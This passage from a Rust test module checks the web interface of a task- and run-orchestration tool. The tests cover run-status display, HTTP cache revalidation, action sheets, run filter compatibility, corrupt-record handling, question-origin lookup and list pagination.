23703        assert_eq!(view3["latest_attempt"]["done"], false);
23704
23705        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23706        // to check - not a confirmed finish, so this must not read as
23707        // resolved either, even though the run is done in the sense that
23708        // nothing is still running.
23709        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23710        write_run(&runs, noop_a, RunStatus::Blocked);
23711        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23712        let mut t2 = Task::new(
23713            "claims done".to_owned(),
23714            "do it".to_owned(),
23715            PathBuf::from("/repo"),
23716            Source::Human,
23717        );
23718        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23719        q.put(&mut t2).expect("put");
23720        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23721        assert_eq!(
23722            view2["latest_attempt"]["resolved"], false,
23723            "an unverified no-op claim must not read as a confirmed finish"
23724        );
23725
23726        // Front end: an unresolved successor must not carry the "finished
23727        // this work" note or the muted chip treatment.
23728        assert!(APP_JS.contains("latest.resolved"));
23729        // ...but the link to it shows as soon as it exists, labelled by state
23730        // and without the "finished" wording or the muted chip.
23731        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23732        assert!(APP_JS.contains("Latest attempt: "));
23733        assert!(APP_JS.contains("in flight"));
23734        assert!(APP_JS.contains("not resolved"));
23735    }
23736
23737    #[tokio::test]
23738    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23739        let fx = Fixture::start().await;
23740        // No cache header at all meant browsers invented their own policy,
23741        // and one did: a phone went on showing "Candidates must be folded
23742        // before deleting. Run `magi fold` first." - deleted two releases
23743        // earlier - from a deck that no longer contained the sentence. The
23744        // button it named was right there, and unreachable.
23745        let js = fx.get("/app.js").await;
23746        assert_eq!(js.status, 200);
23747        let tag = js
23748            .header("etag")
23749            .expect("an etag to revalidate against")
23750            .to_owned();
23751        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23752        assert_eq!(
23753            js.header("cache-control"),
23754            Some("no-cache, must-revalidate"),
23755            "the phone has to ask every time"
23756        );
23757
23758        // And the asking has to be cheap, or `must-revalidate` just means
23759        // "send the whole interface on every load".
23760        let again = fx
23761            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23762            .await;
23763        assert_eq!(
23764            again.status, 304,
23765            "a deck it already has costs one round trip"
23766        );
23767        assert!(again.body.is_empty(), "304 carries no body");
23768
23769        // A weakened tag from a proxy still matches; a different build does
23770        // not, which is the case that has to deliver the new interface.
23771        let weak = fx
23772            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23773            .await;
23774        assert_eq!(weak.status, 304);
23775        let stale = fx
23776            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23777            .await;
23778        assert_eq!(stale.status, 200, "an older build must be replaced");
23779        assert!(stale.body.contains("renderRunActions"));
23780    }
23781
23782    #[test]
23783    fn the_task_detail_has_an_actions_fab_and_sheet() {
23784        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23785        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23786        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23787        // Shown only on the task route, closed everywhere else.
23788        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23789        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23790        // Refreshed whenever the detail redraws, including the loading state.
23791        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23792        assert!(APP_JS.contains("renderTaskActions(null);"));
23793        // Same renderers and routes as the Queue card, no new endpoint.
23794        let sheet = APP_JS
23795            .find("function renderTaskActions")
23796            .expect("sheet renderer");
23797        let body = &APP_JS[sheet..sheet + 3000];
23798        assert!(body.contains("changePriority("));
23799        assert!(body.contains("openTaskEdit(task)"));
23800        assert!(body.contains("renderTaskHoldBox(host"));
23801        assert!(body.contains("renderTaskDoneBox(host"));
23802        assert!(body.contains("renderTaskDeleteBox(host"));
23803        assert!(APP_JS.contains("API.priority(id)"));
23804        assert!(APP_JS.contains("API.deleteTask(id)"));
23805        // A deleted task sends the operator back to the queue.
23806        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23807        // A refusal is shown inside the sheet.
23808        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23809    }
23810
23811    #[test]
23812    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23813        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23814        let actions = INDEX_HTML
23815            .find("id=\"run-actions-box\"")
23816            .expect("actions box");
23817        assert!(task < actions, "the task entry comes first in the sheet");
23818        assert!(APP_JS.contains("renderRunTaskEntry"));
23819        assert!(APP_JS.contains("\"Open task \""));
23820        // A run without a task says why there is nothing to open.
23821        assert!(APP_JS.contains("started directly, no task"));
23822        assert!(APP_JS.contains("sheet-task-link"));
23823        assert!(APP_JS.contains("task-chip-link"));
23824    }
23825
23826    #[test]
23827    fn the_deck_never_sends_the_operator_to_a_terminal() {
23828        // The whole point of the phone UI is that a terminal is not needed.
23829        // The delete control used to answer with "Run `magi fold` first."
23830        assert!(
23831            !APP_JS.contains("Run `magi fold` first"),
23832            "the deck must offer the fold, not prescribe a shell command"
23833        );
23834        assert!(APP_JS.contains("foldRun:"));
23835        assert!(APP_JS.contains("resumeRun:"));
23836        assert!(APP_JS.contains("renderRunActions"));
23837
23838        // Folding is destructive and armed in two steps, like deleting.
23839        assert!(APP_JS.contains("armedFold"));
23840        assert!(APP_JS.contains("Yes, fold worktrees"));
23841
23842        // And the copy has to say that the two actions are opposites, because
23843        // folding throws away exactly what a resume would continue from.
23844        assert!(APP_JS.contains("can no longer be resumed"));
23845    }
23846
23847    #[test]
23848    fn a_finished_run_explains_itself_with_its_own_last_line() {
23849        // The deck used to answer "why did this stop?" with a sentence chosen
23850        // by status alone. Run e633 stalled because two judges answered with
23851        // the wrong JSON shape and its card said "The panel collapsed on
23852        // agent quota" - with `quota: []` in the record and a quota-loss
23853        // counter right above it that correctly said nothing.
23854        assert!(
23855            !APP_JS.contains("collapsed on agent quota"),
23856            "a stall must not be explained by a cause the deck did not check"
23857        );
23858        assert!(
23859            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23860            "and a block must not offer a guess with an `or` in it"
23861        );
23862
23863        // The reason it does have is `run.event`, which must reach finished
23864        // runs: gating it on movement hid the recorded truth at the one moment
23865        // the operator is reading the card to find out what happened.
23866        assert!(
23867            APP_JS.contains("setText(r.event, run.event || \"\")"),
23868            "the run's last line is rendered unconditionally"
23869        );
23870        assert!(
23871            !APP_JS.contains("moving && run.event"),
23872            "and never gated on the run still moving"
23873        );
23874
23875        // Quota keeps its own counter, fed by the number actually recorded.
23876        assert!(APP_JS.contains("lost to quota"));
23877    }
23878
23879    /// The runs tree (section) and the state chips (waiting/done) are two
23880    /// independent lenses ANDed together in `renderRuns`, and some pairings
23881    /// can never both be true for any run - every "Landed"/"Ended" run is
23882    /// done by construction, so pairing either with "Active" or "In flight"
23883    /// always rendered zero cards with the filter bar still claiming
23884    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23885    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23886    /// a handful of (waiting, status) shapes standing in for the run
23887    /// lifecycle, because `cargo test` cannot execute the front end.
23888    ///
23889    /// That stand-in list is itself the part that drifted twice in review:
23890    /// once shipped with `waiting: true` paired with a done status the
23891    /// lifecycle cannot produce, then over-corrected into treating every
23892    /// waiting run as never done - which made "Waiting on you" look
23893    /// incompatible with "Done" even for the one real, reachable shape
23894    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23895    /// that combination. This test parses the shapes and the done-rule back
23896    /// out of `APP_JS`, reimplements `runSection` and the five state
23897    /// predicates independently in Rust, and checks the resulting
23898    /// section/filter compatibility table against the lifecycle rules by
23899    /// hand - so either direction of drift fails it again.
23900    #[test]
23901    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23902        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23903        let shapes_body_start =
23904            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23905        let shapes_close = APP_JS[shapes_body_start..]
23906            .find("].map(")
23907            .expect("the shape list is closed by its done-computing .map(...)")
23908            + shapes_body_start;
23909        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23910
23911        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23912        for entry in shapes_src.split('{').skip(1) {
23913            let waiting = entry.contains("waiting: true");
23914            let dead = entry.contains("live: \"dead\"");
23915            let status_at =
23916                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23917            let status_end = entry[status_at..]
23918                .find('"')
23919                .expect("the status string is closed")
23920                + status_at;
23921            let parked = entry.contains("display_status: \"parked\"");
23922            shapes.push((
23923                waiting,
23924                entry[status_at..status_end].to_string(),
23925                dead,
23926                parked,
23927            ));
23928        }
23929        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23930
23931        // The done rule itself (`!["implementing"].includes(shape.status)`),
23932        // read out of the source rather than hardcoded, so a renamed
23933        // in-flight status can't silently make every parsed shape "done".
23934        let done_rule_marker = "done: !";
23935        let done_rule_at = APP_JS[shapes_close..]
23936            .find(done_rule_marker)
23937            .expect("the done rule follows the shape list")
23938            + shapes_close
23939            + done_rule_marker.len();
23940        let includes_at = APP_JS[done_rule_at..]
23941            .find(".includes(shape.status)")
23942            .expect("the done rule ends in .includes(shape.status)")
23943            + done_rule_at;
23944        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23945            .trim()
23946            .trim_start_matches('[')
23947            .trim_end_matches(']')
23948            .split(',')
23949            .map(|s| s.trim().trim_matches('"'))
23950            .filter(|s| !s.is_empty())
23951            .collect();
23952
23953        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23954            .into_iter()
23955            .map(|(waiting, status, dead, parked)| {
23956                let done = !not_done.contains(&status.as_str());
23957                (waiting, status, dead, parked, done)
23958            })
23959            .collect();
23960
23961        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23962        // outright, then merged/ready land, stalled/blocked/failed/
23963        // verified_noop end, and everything else is still in flight.
23964        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23965            if waiting {
23966                return "waiting";
23967            }
23968            if dead
23969                && !parked
23970                && !matches!(
23971                    status,
23972                    "merged"
23973                        | "ready"
23974                        | "stalled"
23975                        | "blocked"
23976                        | "failed"
23977                        | "verified_noop"
23978                        | "superseded"
23979                        | "already_in_base"
23980                )
23981            {
23982                return "stale";
23983            }
23984            match status {
23985                "merged" | "ready" => "landed",
23986                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23987                | "already_in_base" => "ended",
23988                _ => "flight",
23989            }
23990        }
23991
23992        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23993        // way.
23994        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23995            match filter_key {
23996                "active" => !done,
23997                "flight" => !done && !waiting && !dead,
23998                "stale" => !done && !waiting && dead,
23999                "waiting" => waiting,
24000                "done" => done,
24001                "all" => true,
24002                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24003            }
24004        }
24005
24006        let compatible = |section: &str, filter_key: &str| {
24007            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24008                run_section(*waiting, status, *dead, *parked) == section
24009                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24010            })
24011        };
24012
24013        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24014        // (active, flight, stale, waiting, done, all) - hand-derived from the
24015        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24016        // currently contains.
24017        let expected = [
24018            ("waiting", [true, false, false, true, true, true]),
24019            ("stale", [true, false, true, false, false, true]),
24020            ("flight", [true, true, false, false, false, true]),
24021            ("landed", [false, false, false, false, true, true]),
24022            ("ended", [false, false, false, false, true, true]),
24023        ];
24024        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24025
24026        for (section, wants) in expected {
24027            for (filter_key, want) in filter_keys.iter().zip(wants) {
24028                assert_eq!(
24029                    compatible(section, filter_key),
24030                    want,
24031                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24032                );
24033            }
24034        }
24035
24036        // The compatibility check exists only to be acted on: both pickers
24037        // must actually consult it rather than just render its answer.
24038        assert!(
24039            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24040        );
24041        assert!(APP_JS.contains(
24042            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24043        ));
24044        assert!(APP_JS.contains(
24045            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24046        ));
24047    }
24048
24049    #[tokio::test]
24050    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24051        // An operator-named directory - git checkout or not - is never
24052        // second-guessed, even when it does not exist at all: only the
24053        // flag's own unmodified `.` default is ever eligible for discovery.
24054        let dir = tempfile::tempdir().expect("tempdir");
24055        let explicit = dir.path().join("not-a-checkout");
24056        std::fs::create_dir_all(&explicit).expect("create dir");
24057        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24058
24059        let missing = dir.path().join("does-not-exist-at-all");
24060        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24061    }
24062
24063    #[test]
24064    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24065        assert!(APP_JS.contains("function statsDonutArcs"));
24066        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24067        // A bucket click filters by the statuses src/stats.rs counts in it.
24068        assert!(APP_JS.contains("function statusInBucket"));
24069        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24070        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24071        let buckets = [
24072            "merged",
24073            "ready",
24074            "in_progress",
24075            "blocked",
24076            "failed",
24077            "verified_noop",
24078            "superseded",
24079            "stalled",
24080        ];
24081        for key in buckets {
24082            let var = format!("--verdict-{key}:");
24083            // Light, OS-dark and pinned-dark blocks each define it.
24084            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24085            assert!(
24086                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24087                "{key}"
24088            );
24089        }
24090    }
24091
24092    #[tokio::test]
24093    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24094        let dir = tempfile::tempdir().expect("tempdir");
24095        let queue = Queue::at(dir.path().join("queue"));
24096        let talks = Talks::at(dir.path().join("talks"));
24097        std::fs::create_dir_all(queue.root()).unwrap();
24098        std::fs::create_dir_all(talks.root()).unwrap();
24099
24100        // Put a corrupt json file in both stores
24101        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24102        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24103
24104        // Valid task and talk
24105        let mut task = Task::new(
24106            "title".into(),
24107            "inst".into(),
24108            PathBuf::from("/repo"),
24109            Source::Human,
24110        );
24111        task.id = "20261019-123456-abcd".into();
24112        // Write manually so it's a valid file
24113        std::fs::write(
24114            queue.path_of(&task.id),
24115            serde_json::to_string(&task).unwrap(),
24116        )
24117        .unwrap();
24118
24119        let talk_id = "20261019-234567-cdef";
24120        seed_talk_at(&talks, talk_id, "open");
24121
24122        // Exact match should succeed without failing on the corrupt json file
24123        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24124        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24125
24126        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24127        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24128        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24129    }
24130
24131    #[tokio::test]
24132    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24133        let home = tempfile::tempdir().unwrap();
24134        let ui = delta_test_ui(home.path());
24135        // A full history traversal would fail even with no questions.
24136        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24137        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24138        assert!(
24139            questions_list(State(ui.clone()))
24140                .await
24141                .unwrap()
24142                .0
24143                .is_empty()
24144        );
24145        assert!(
24146            question_origins(State(ui.clone()))
24147                .await
24148                .unwrap()
24149                .0
24150                .is_empty()
24151        );
24152        let mut question = Question::new(
24153            "run-history".into(),
24154            "review".into(),
24155            "seat".into(),
24156            "Useful question".into(),
24157            "Useful detail".into(),
24158            vec![],
24159        );
24160        ui.questions.put(&mut question).unwrap();
24161        let core = questions_core(State(ui.clone())).await.unwrap().0;
24162        assert_eq!(core.len(), 1);
24163        assert_eq!(core[0].question.summary, "Useful question");
24164        assert!(!core[0].can_consult_chat);
24165        assert!(core[0].origin_chat.is_none());
24166        assert_eq!(core[0].record_revision, question_record_revision(&question));
24167        assert!(question_origins(State(ui.clone())).await.is_err());
24168        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24169    }
24170
24171    #[tokio::test]
24172    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24173        let home = tempfile::tempdir().unwrap();
24174        let ui = delta_test_ui(home.path());
24175        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24176        let mut parent = Task::new(
24177            "parent".into(),
24178            "body".into(),
24179            PathBuf::from("/repo"),
24180            Source::Agent {
24181                run: chat.clone(),
24182                node: crate::queue::CHAT_NODE.into(),
24183            },
24184        );
24185        parent.id = "parent-task".into();
24186        parent.runs = vec!["parent-run".into()];
24187        ui.queue.put(&mut parent).unwrap();
24188        let mut previous = parent;
24189        for generation in 1..=2 {
24190            let mut child = Task::new(
24191                "child".into(),
24192                "body".into(),
24193                PathBuf::from("/repo"),
24194                Source::Human,
24195            );
24196            child.id = format!("child-task-{generation}");
24197            child.runs = vec![format!("child-run-{generation}")];
24198            child.followup = Some(crate::queue::FollowUp {
24199                origin_task: Some(previous.id.clone()),
24200                run: previous.runs[0].clone(),
24201                pr: String::new(),
24202                findings: vec![],
24203                generation,
24204            });
24205            ui.queue.put(&mut child).unwrap();
24206            previous = child;
24207        }
24208        // A run may have the same spelling as another task's id; its owner
24209        // must not override a typed task reference.
24210        let mut collision = Task::new(
24211            "collision".into(),
24212            String::new(),
24213            PathBuf::from("/repo"),
24214            Source::Human,
24215        );
24216        collision.id = "collision-task".into();
24217        collision.runs = vec![previous.id.clone()];
24218        ui.queue.put(&mut collision).unwrap();
24219        let mut questions = Vec::new();
24220        for (node, reference, expected, eligible) in [
24221            (crate::triage::NODE, previous.id.as_str(), true, false),
24222            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24223            ("review", previous.runs[0].as_str(), true, true),
24224            (
24225                crate::bump::NOTICE_NODE,
24226                previous.runs[0].as_str(),
24227                true,
24228                false,
24229            ),
24230            // Identical text in the wrong reference namespace is not evidence.
24231            ("review", previous.id.as_str(), false, false),
24232            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24233            ("review", "unrelated", false, false),
24234        ] {
24235            let mut q = Question::new(
24236                reference.into(),
24237                node.into(),
24238                "seat".into(),
24239                "Question".into(),
24240                String::new(),
24241                vec![],
24242            );
24243            ui.questions.put(&mut q).unwrap();
24244            questions.push((q, expected, eligible));
24245        }
24246        for (node, reference, associated, eligible) in [
24247            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24248            (
24249                crate::reconcile::NODE,
24250                previous.runs[0].as_str(),
24251                false,
24252                true,
24253            ),
24254            ("implement", previous.id.as_str(), false, false),
24255        ] {
24256            let mut q = Question::new(
24257                reference.into(),
24258                node.into(),
24259                crate::reconcile::SEAT.into(),
24260                "Reconcile".into(),
24261                String::new(),
24262                vec![],
24263            );
24264            ui.questions.put(&mut q).unwrap();
24265            questions.push((q, associated, eligible));
24266        }
24267        let mut release = Question::new(
24268            "release-record".into(),
24269            crate::bump::NOTICE_NODE.into(),
24270            "release-watch".into(),
24271            "Release".into(),
24272            String::new(),
24273            vec![],
24274        );
24275        ui.questions.put(&mut release).unwrap();
24276        let watch = crate::release_watch::WatchState {
24277            question: Some(release.id.clone()),
24278            run: Some(previous.runs[0].clone()),
24279            held_task: Some(previous.id.clone()),
24280            ..Default::default()
24281        };
24282        let watch_dir = home.path().join("release-watch");
24283        std::fs::create_dir_all(&watch_dir).unwrap();
24284        let watch_path = watch_dir.join("watch.json");
24285        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24286        // Ordinary questions and bump notices do not need watch-store I/O.
24287        for batch in [
24288            Vec::new(),
24289            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24290        ] {
24291            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24292            assert!(watches.is_empty());
24293        }
24294        questions.push((release.clone(), true, false));
24295
24296        let views = questions_list(State(ui.clone())).await.unwrap().0;
24297        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24298        for (q, associated, eligible) in &questions {
24299            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24300            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24301            let expected = associated.then_some(chat.as_str());
24302            assert_eq!(
24303                view.origin_chat.as_deref(),
24304                expected,
24305                "{} {}",
24306                q.node,
24307                q.run
24308            );
24309            assert_eq!(origin.origin_chat.as_deref(), expected);
24310            assert_eq!(view.origin_chat_closed, *associated);
24311            assert_eq!(origin.origin_chat_closed, *associated);
24312            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24313            assert_eq!(origin.can_consult_chat, *eligible);
24314        }
24315        // Either saved link independently recovers a release question's owner.
24316        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24317            let link = crate::release_watch::WatchState {
24318                run,
24319                held_task,
24320                ..watch.clone()
24321            };
24322            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24323            let (tasks, talks, watches) =
24324                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24325            assert_eq!(
24326                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24327                    .unwrap()
24328                    .id,
24329                chat,
24330            );
24331            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24332        }
24333        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24334        // Even identical duplicate records are ambiguous: ignore their links.
24335        let duplicate_path = watch_dir.join("duplicate.json");
24336        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24337        let (tasks, talks, watches) =
24338            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24339        assert!(
24340            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24341                .is_none()
24342        );
24343        std::fs::remove_file(duplicate_path).unwrap();
24344        // Another explicit owner is a conflict even if it has no chat.
24345        let mut unrelated = Task::new(
24346            "other".into(),
24347            String::new(),
24348            PathBuf::from("/repo"),
24349            Source::Human,
24350        );
24351        unrelated.id = "unrelated-task".into();
24352        ui.queue.put(&mut unrelated).unwrap();
24353        let mut conflicting = watch.clone();
24354        conflicting.held_task = Some(unrelated.id);
24355        std::fs::write(
24356            watch_dir.join("conflict.json"),
24357            serde_json::to_vec(&conflicting).unwrap(),
24358        )
24359        .unwrap();
24360        let (tasks, talks, watches) =
24361            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24362        assert!(
24363            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24364                .is_none()
24365        );
24366        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24367        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24368        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24369            assert!(origin.origin_chat.is_none());
24370            assert!(!origin.origin_chat_closed);
24371        }
24372    }
24373
24374    #[test]
24375    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24376        let home = tempfile::tempdir().unwrap();
24377        let ui = delta_test_ui(home.path());
24378        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24379        for i in 0..1000 {
24380            let mut task = Task::new(
24381                "unrelated".into(),
24382                "instruction ".repeat(256),
24383                PathBuf::from("/repo"),
24384                Source::Human,
24385            );
24386            task.id = format!("history-{i:04}");
24387            ui.queue.put(&mut task).unwrap();
24388            let id = seed_talk_at(&ui.talks, &task.id, "open");
24389            let mut talk = ui.talks.get(&id).unwrap();
24390            talk.pending = "history ".repeat(256);
24391            ui.talks.put(&mut talk).unwrap();
24392        }
24393        let mut parent = Task::new(
24394            "parent".into(),
24395            "body".into(),
24396            PathBuf::from("/repo"),
24397            Source::Agent {
24398                run: chat_id.clone(),
24399                node: crate::queue::CHAT_NODE.into(),
24400            },
24401        );
24402        parent.id = "task-parent".into();
24403        parent.runs = vec!["run-parent".into()];
24404        ui.queue.put(&mut parent).unwrap();
24405        let mut child = Task::new(
24406            "child".into(),
24407            "body".into(),
24408            PathBuf::from("/repo"),
24409            Source::Human,
24410        );
24411        child.id = "task-child".into();
24412        child.runs = vec!["run-child".into()];
24413        child.followup = Some(crate::queue::FollowUp {
24414            run: "run-parent".into(),
24415            origin_task: Some(parent.id.clone()),
24416            pr: "https://example.invalid/pr/1".into(),
24417            findings: vec![],
24418            generation: 1,
24419        });
24420        ui.queue.put(&mut child).unwrap();
24421        let mut question = Question::new(
24422            child.id.clone(),
24423            crate::conduct::NODE.into(),
24424            "seat".into(),
24425            "Continue?".into(),
24426            String::new(),
24427            vec![],
24428        );
24429        let (tasks, talks, _watches) =
24430            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24431        assert_eq!(tasks.len(), 2);
24432        assert_eq!(talks.len(), 1);
24433        assert_eq!(
24434            ui.monitor.queue_index.lock().unwrap().reparsed,
24435            0,
24436            "exact ancestry bypasses the index"
24437        );
24438        assert_eq!(
24439            crate::consult::origin_talk(&tasks, &talks, &question)
24440                .unwrap()
24441                .id,
24442            chat_id
24443        );
24444        question.run = "run-child".into();
24445        question.node = "review".into();
24446        for origin_task in [Some(parent.id.clone()), None] {
24447            child.followup.as_mut().unwrap().origin_task = origin_task;
24448            ui.queue.put(&mut child).unwrap();
24449            let (tasks, talks, _watches) =
24450                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24451            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24452            let expected =
24453                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24454                    .unwrap();
24455            assert_eq!(actual.id, expected.id);
24456            assert!(!actual.status.open());
24457            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24458            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24459            // Without Unix file identity, every readable record must be
24460            // reparsed to detect same-size, same-mtime replacements safely.
24461            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24462            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24463        }
24464        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24465        ui.queue.put(&mut child).unwrap();
24466        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24467        let (tasks, talks, _watches) =
24468            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24469        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24470        child.origin_chat = Some(chat_id.clone());
24471        ui.queue.put(&mut child).unwrap();
24472        let (tasks, talks, _watches) =
24473            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24474        assert_eq!(
24475            crate::consult::origin_talk(&tasks, &talks, &question)
24476                .unwrap()
24477                .id,
24478            chat_id
24479        );
24480        let revision = question_record_revision(&question);
24481        question.abandon("settled elsewhere");
24482        assert_ne!(revision, question_record_revision(&question));
24483        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24484        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24485        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24486        let (tasks, talks, _watches) =
24487            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24488        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24489    }
24490
24491    #[test]
24492    fn list_cursors_freeze_membership_and_expire_explicitly() {
24493        let home = tempfile::tempdir().unwrap();
24494        let ui = delta_test_ui(home.path());
24495        std::fs::create_dir_all(ui.queue.root()).unwrap();
24496        for i in 0..40 {
24497            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24498        }
24499        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24500        assert_eq!(first.len(), STORE_PAGE_SIZE);
24501        let cursor = cursor.unwrap();
24502        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24503        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24504        let (second, _) = page_ids(
24505            &ui,
24506            false,
24507            PageQuery {
24508                before: Some(cursor.clone()),
24509            },
24510        )
24511        .unwrap();
24512        assert_eq!(second[0], "record-0023");
24513        assert!(second.iter().all(|id| !first.contains(id)));
24514        assert!(
24515            page_ids(
24516                &ui,
24517                true,
24518                PageQuery {
24519                    before: Some(cursor.clone())
24520                }
24521            )
24522            .is_err()
24523        );
24524        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24525        assert_eq!(fresh[0], "record-9999");
24526        ui.monitor.list_walks.lock().unwrap().clear();
24527        assert!(
24528            page_ids(
24529                &ui,
24530                false,
24531                PageQuery {
24532                    before: Some(cursor)
24533                }
24534            )
24535            .is_err()
24536        );
24537    }
24538
24539    #[tokio::test]
24540    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
